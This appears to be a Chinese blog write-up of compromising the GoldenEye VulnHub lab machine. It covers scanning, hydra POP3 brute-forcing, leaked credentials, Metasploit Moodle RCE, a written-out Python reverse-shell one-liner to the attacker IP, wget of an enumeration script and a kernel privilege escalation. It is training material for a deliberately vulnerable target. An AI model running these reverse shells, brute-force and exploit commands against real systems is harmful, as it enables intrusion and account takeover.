【vulhub靶场】GoldenEye

概述

环境搭建

vulhub官网:https://www.vulnhub.com/entry/goldeneye-1,240/
百度云盘:https://pan.baidu.com/s/1nUb9NwtZkmgPcEbt7jWfXQ?pwd=90lq
靶机:10.10.10.155
kali :10.10.10.146

关于复现,我把所有的试错过程也直接写上出了,尽管对于最终获得flag步骤有点多余

关键词

主机发现、端口扫描、服务发现、js泄露、服务爆破、漏洞利用、本地提权、攻击代码修改

信息打点

arp-scan(利用arp地址解析协议)进行快速局域网内存活主机探测)
在这里插入图片描述
发现存活主机后使用nmap(扫的慢、更准确)进行仔细扫描

nmap -sS -sV -T5 -A 10.10.10.155

关于nmap参数
-sS:使用 TCP SYN 扫描
-sV:探测开放端口以确定服务版本信息
-T5:使用激进的时间设置加快扫描速度
-A:启用操作系统检测、版本检测、脚本扫描和跟踪路由

在这里插入图片描述
开放25端口邮箱传输协议与80(2.4.7版本Apache)端口

两种思路:

smtp协议可以直接利用获取对方主机权限吗?(靶机大几率不会让你直接拿到主机权限)
还是通过web服务一步一步来进行渗透?

Web渗透

两种思路

弱口令?
Apache 2.4.7版本历史漏洞能否利用成功?

Apache历史漏洞

在这里插入图片描述
这里应该补上一些尝试过程的……

Tomcat弱口令

在这里插入图片描述
页面提示到/sev-home目录下登陆
老规矩先尝试几个弱口令:admin/admin、admin/admin123……当然是都没有成功
打开burp抓一下登录包
在这里插入图片描述
Get传参,头部含有Authorization字段,Basic后面跟的应该是Base64编码的账号密码
在这里插入图片描述

Tomcat弱口令爆破

经典Tomcat账号密码传输形式,尝试使用Burp Intruder模块进行暴力破解
攻击类型为sniper方式,Payload类型为Custom iterator
position1为用户名,position2为 :(英文半角),position3为密码
自定义组装后,使用Payload Processing进行base64编码
在这里插入图片描述
取消下方的Payload Enoding,直接开始攻击
在这里插入图片描述
爆破了两万多条,然并卵,会不会是前端js源码啥的泄露密码呢?

前端泄露

10.10.10.155 JS代码外部引用了terminal.js与index.css。
在terminal.js文件中有一段被注释的留言暴露了用户名以及加密的密码
在这里插入图片描述
这里一眼html编码,拿去进行解密(InvincibleHack3r),以及可能存在的用户名Boris、Natalya
html在线解码网站:https://www.lddgo.net/convert/htmlencode
使用boris/InvincibleHack3r登陆成功

POP邮箱利用

邮件钓鱼?

在这里插入图片描述
登陆后提示发送邮件给GNO主管,to become(主动成为GoldenEYe的管理员)大几率是通过邮件钓鱼的方式获取(靶机模仿admin进行自动打开邮箱)
通过提示的POP3服务运行在高端口上,重新对靶机进行全端口扫描

nmap 10.10.10.150 -p-

在这里插入图片描述
发现存在55006与55007端口,使用nmap仔细对该服务进行探测

nmap 10.10.10.155 -sS -sV -T5 -A -p55006,55007 10.10.10.155

在这里插入图片描述
这里确实存在pop3服务,但是我对pop3协议不熟悉啊,不能直接通过网页访问该服务啊,也不知道怎么利用,于是直接在网上扫pop3协议怎么利用
在这里插入图片描述

POP3爆破

概述:POP3,全名为“Post Office Protocol - Version 3”,即“邮局协议版本3”。是TCP/IP协议族中的一员,由RFC1939 定义。它被用户代理用来邮件服务器取得邮件。POP3采用的也是C/S通信模型
默认端口:110

nc -nv 10.10.10.155 55006-55007	#banner信息获取

在这里插入图片描述

nmap -p 55007 -sC "pop3-capabilities or pop3-ntlm-info" -sV 10.10.10.155

在这里插入图片描述
结合之前的拿到的弱口令,使用hydra进行POP3服务暴力破解

hydra -s PORT -l USERNAME -p PASSWORD -e nsr -t 22 IP pop3
hydra -s PORT -L USERNAME_LIST -P PASSWORD_LIST -e nsr -t 22 IP pop3

PORT:pop3服务所用端口号
USERNAME:单个用户名
PASSWORD:单个密码
USERNAME_LIST:用户名文件
PASSWORD_LIST:密码文件
IP:pop3服务器地址

echo -e 'natalya\nboris' > pop3_users.txt	#-t是制表符 -n是换行
hydra -s 55007 -L pop3_users.txt -P /usr/share/wordlists/fasttrack.txt -t 22 10.10.10.155 pop3

在这里插入图片描述
爆破出两条账号

[55007][pop3] host: 10.10.10.155 login: natalya password: bird
[55007][pop3] host: 10.10.10.155 login: boris password: secret1!

命令行登陆POP邮箱

pop相关命令命令

POP commands:
USER whgojp          	使用账号whgojp登陆
PASS password    		输入密码			 
STAT              		获取邮件服务器上的邮件数量和总大小
LIST             		列出所有邮件及其大小。如果指定了消息号,则只显示该消息的大小
RETR n            		检索消息号为n的邮件的全部内容
DELE n            		删除邮件n
RSET             		撤销任何更改,恢复到初始状态
QUIT            		退出
TOP msg n         		显示消息号为msg的邮件的前n行用于查看邮件的标题行
CAPA              		获取服务器支持的能力列表

telnet方式
telnet IP PORT

IP:pop服务所用IP
PORT:pop服务所用端口号

在这里插入图片描述

nc方式
nc IP PORT

IP:pop服务所用IP
PORT:pop服务所用端口号

查看邮件内容,寻找有用信息
使用boris/secret1!登陆
第一封邮件来自admin:From: root@127.0.0.1.goldeneye
Boris, this is admin. You can electronically communicate to co-workers and students here. I’m not going to scan emails for security risks because I trust you and the other admins here.
第二封邮件来自natalya:From: natalya@ubuntu
Boris, I can break your codes!
第三封邮件来自alec:From: alec@janus.boss
Boris,
Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!
Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages…
PS - Keep security tight or we will be compromised.
在这里插入图片描述
使用natalya/bird登陆
第一封邮件来自root:From: root@ubuntu
Natalya, please you need to stop breaking boris’ codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.
Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.
第二封邮件来自root:From: root@ubuntu
Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it’s related to security…even if it’s not, just enter it in under the guise of “security”…it’ll get the change order escalated without much hassle 😃
Ok, user creds are:
username: xenia
password: RCP90rulez!

Boris verified her as a valid contractor so just create the account ok?
And if you didn’t have the URL on outr internal Domain: severnaya-station.com/gnocertdir
**Make sure to edit your host file since you usually work remote off-network…
Since you’re a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.

整理一下:

用户名:xenia
密码:RCP90rulez!
域:severnaya-station.com
网址:severnaya-station.com/gnocertdir
根据邮件提示添加本地域名:severnaya-station.com

绑定本地host

在本地kali host文件中添加域名解析

echo "10.10.10.155 severnaya-station.com" >> /etc/hosts	#这里我一开始写入host文件,怎么ping都不对 emmm

在这里插入图片描述
如果ping severnaya-station.com/gnocertdir 还是公网地址的话,可能是本地DNS服务器没有更新或者缓存了旧的 DNS 映射。
尝试清除DNS缓存 sudo systemctl restart systemd-resolved

关于linux下/etc/hosts 文件与 /etc/resolv.conf文件的区别

相同点:这两个文件都是Linux系统中用于管理网络配置的文件,但它们各自有不同的作用和功能。
/etc/hosts: /etc/hosts文件是一个本地的 DNS 解析器。它包含了计算机的主机名与 IP 地址的映射关系,可以被用来手动地解析主机名到指定的 IP 地址上。当在浏览器或其他应用程序中输入主机名时,计算机首先会检查 /etc/hosts 文件来查找相应的 IP地址映射。如果该文件中没有找到匹配的映射,则系统将查询其他 DNS 服务器以获取正确的 IP 地址。
/etc/resolv.conf: /etc/resolv.conf 文件指定了计算机使用的 DNS服务器地址。该文件是由域名解析器(resolver,一个根据主机名解析IP地址的库)使用的配置文件
该文件是DNS域名解析的配置文件,它的格式很简单,每行以一个关键字开头,后接配置参数。
resolv.conf的关键字主要有四个,分别是:
nameserver #定义DNS服务器的IP地址
domain #定义本地域名
search #定义域名的搜索列表
sortlist #对返回的域名进行排序
总之,/etc/hosts 文件用于本地 DNS 解析,而 /etc/resolv.conf 文件则用于配置系统使用的 DNS 服务器。
详见:https://www.cnblogs.com/yjiajia/p/13180959.html

Web渗透2

在这里插入图片描述

在首页看到了关键词moodle,一个PHP的开源CMS,

使用whatweb工具也是可以的

whatweb severnaya-station.com/gnocertdir

whatweb常用命令

whatweb 域名													#常规扫描
whatweb -i /root/target.txt									#批量扫描
whatweb -v 域名												#详细回显扫描
whatweb有一个-aggression(简写为-a)参数,此参数后边可以跟数字1-4,分别对应4个不同的等级。
1、stealthy 每个目标发送一次http请求,并且会跟随重定向
2、unused 不可用(从2011年开始,此参数就是在开发状态
3、aggressive 每个目标发送少量的http请求,这些请求时根据参数为1时结果确定的
4、heavy 每个目标会发送大量的http请求,会去尝试每一个插件
whatweb -a 等级 域名 (可以和-v参数结合使用)					#注:默认参数为1
whatweb --no-errors -t 255 内网网段 (可以和-a和-v参数结合使用)#快速本地扫描(扫描内网主机)
whatweb http://www.baidu.com --log-xml=baidu.xml			#将扫描结果导出至文件内

两种思路:

1、直接找关于moodle历史漏洞(尝试匹配版本进行利用)

在这里插入图片描述
在这里插入图片描述
尝试找最近的高危漏洞来对这个18年的靶场进行降维打击
当然是找直接拿shell的高危漏洞(最好是无条件利用)
这里试了一遍发现除了第0个不需要admin的密码,其他都需要管理员密码,但是第一个是针对3.x版moodle
在这里插入图片描述
意思就是还要获取admin的密码,不过这里还是有收获的得到了cms的版本号
……

2、通过登陆前面泄露的用户进行登陆,翻一翻有用的信息

在这里插入图片描述
邮件内容:欢迎 Xenia 成为 GoldenEye 培训中的新承包商,并提供一些联系信息和指示
在这里暴露了用户doak
接着对pop3服务进行爆破,顺便添加可能存在的admin用户
在这里插入图片描述

hydra -s 55007 -L pop3_users.txt -P /usr/share/wordlists/fasttrack.txt -t 22 10.10.10.155 pop3

在这里插入图片描述
使用doak/goat登录pop3服务读取邮件内容(枚举)
James,
If you’re reading this, congrats you’ve gotten this far. You know how tradecraft works right?
Because I don’t. Go to our training site and login to my account…dig until you can exfiltrate further information…
username: dr_doak
password: 4England!

在这里插入图片描述
使用该账号与密码登录后,发现s3cret.txt文件,提示一张图片的位置,进行拼接url
这里直接迷了,我以为图片直接给出admin的账号密码啥的
……
网上说是关于图片隐写方面的,不禁的勾起了我痛苦的CTF回忆

根据邮件提示让我们检查图片内容,下载图片后,可以使用:
binwalk(路由逆向分析工具)
exiftool(图虫)
strings(识别动态库版本指令)
等查看jpg文件底层内容

exiftool for-007.jpg
strings for-007.jpg

我这里使用的是winhex
在这里插入图片描述
获取到admin的密码之后,登陆邮箱,这里其实就可以直接利用前面的msf RCE漏洞了
管理员用户身份登陆邮箱应用程序
admin/xWinter1995x!
在这里插入图片描述
获取到之前收集的用户名以及moodle的版本号2.2.3与之前msf探测的2.2版本基本相符

MSF&反弹shell

漏洞利用

1  exploit/multi/http/moodle_spelling_binary_rce                 2013-10-30       excellent  Yes    Moodle Authenticated Spelling Binary RCE
use 1
set username admin              
set password xWinter1995x!      
set rhost severnaya-station.com  
set targeturi /gnocertdir  
set payload cmd/unix/reverse     
set lhost 10.10.10.146          
run

在这里插入图片描述
很遗憾这里并没有获得shell,通过info命令查看该exp利用的环境条件
在这里插入图片描述
根据reference提示链接获取一些信息
其中在https://packetstormsecurity.com/files/164479/Moodle-Authenticated-Spelling-Binary-Remote-Code-Execution.html

这个网站有很多EXP源码,整理的非常好
在这里插入图片描述
在这里插入图片描述
查了一些资料之后发现邮箱需要修改执行PSpellShell
使用admin登陆邮箱在设置中
Home / ▶ Site administration / ▶ Plugins / ▶ Text editors / ▶ TinyMCE HTML editor
PSpellShell后save
在这里插入图片描述
重新exploit一下,得到shell
在这里插入图片描述
查看当前目录,用户权限,是否有内网等信息
在这里插入图片描述尝试去找flag文件
在这里插入图片描述
显然普通用户权限是不能读取到的,需要进一步提权

反弹shell

现在获得的shell并不是交互式,为了方便提权操作,将一个无 TTY 的 shell 转换为一个带有 TTY 的交互式 shell

什么是TTY

TTY 是一个缩写,代表着 Teletype,它是一种早期的文字终端设备。在计算机早期,TTY是用于与计算机交互的主要方式之一,用户可以通过键盘输入指令并在屏幕上看到计算机的响应。
如今,TTY通常被用来描述一个连接到终端设备的进程或会话。TTY 可以在本地终端、SSH 连接、串口连接等各种情况下使用,它提供了一个交互式shell 界面,让用户可以在终端上执行命令和程序,查看输出,并进行其他操作。
在 Linux/Unix 系统中,TTY
有时也被称为控制台,可以通过 /dev/tty 文件路径来表示当前 TTY 设备。例如,如果您打开了一个终端窗口并在其中运行了一个shell,那么该 shell 将被分配到一个 TTY 设备上。

无 TTY 的 shell 与带有 TTY 的交互式 shell区别

无 TTY 的 shell 是指一个没有任何输入/输出控制终端的命令行环境,它只能接受标准输入和输出,而不能像交互式 shell 一样与用户进行实时的交互。
带有 TTY 的交互式 shell 则是具有输入/输出控制终端的 shell,它可以直接与用户进行实时的交互,并且支持包含命令补全、上下键翻阅历史命令等高级功能。
将无 TTY 的 shell 转换为带有 TTY 的交互式 shell,以便更方便地与目标系统进行交互和执行操作

转换为交互式shell

查看是否有tty

tty
python -c 'import pty; pty.spawn("/bin/bash")'     ---将shell进行tty

因为linux自带python2环境,所以使用python执行
在这里插入图片描述
在这里插入图片描述

python反弹shell

msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload cmd/unix/reverse_bash
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 7777
msf6 exploit(multi/handler) > exploit 

因为msf比较方便。所以将shell转交至msf中

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.146",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

== Upgrade Command Shell to Meterpreter==在这里插入图片描述
试了一下getsystem当然没有成功 emmm

权限提权

uname -a		#查看内核版本
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

上传les.sh漏洞检测脚本
在kali上开启htpp服务

#kali
python3 -m http.server 80
#靶机
wget 10.10.10.146/les.sh	shell状态下下载
chmod +x les.sh
./les.sh

在这里插入图片描述在这里插入图片描述
这里使用脏牛漏洞,当然还有其他内核漏洞可以使用
适用范围:2.6.22<内核版本<3.9
通过编译器类型枚举,发现靶场没有gcc编译器,存在clang编译器

gcc --version   
clang --version		#效果同cc --version

这里像上次一样,我还是没有成功利用脏牛漏洞,编译的时候还是有问题,这里还是使用的上篇文章中利用的CVE-2015-1328(在les.sh脚本中同样有探测到)
同样需要修改为cc编译
在这里插入图片描述
正常编译还是会报错,但是不影响使用
在这里插入图片描述
新建root权限会话
在这里插入图片描述
在这里插入图片描述
这里也是成功拿到flag
在这里插入图片描述

总结

缺少对弱口令的敏感性,靶机逻辑性太强,和CTF差不多,对POP邮件服务不熟悉,关于linux内核漏洞掌握不太好,当然还是学到不少东西的

																			2023-04-04  留念 By whgojp
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值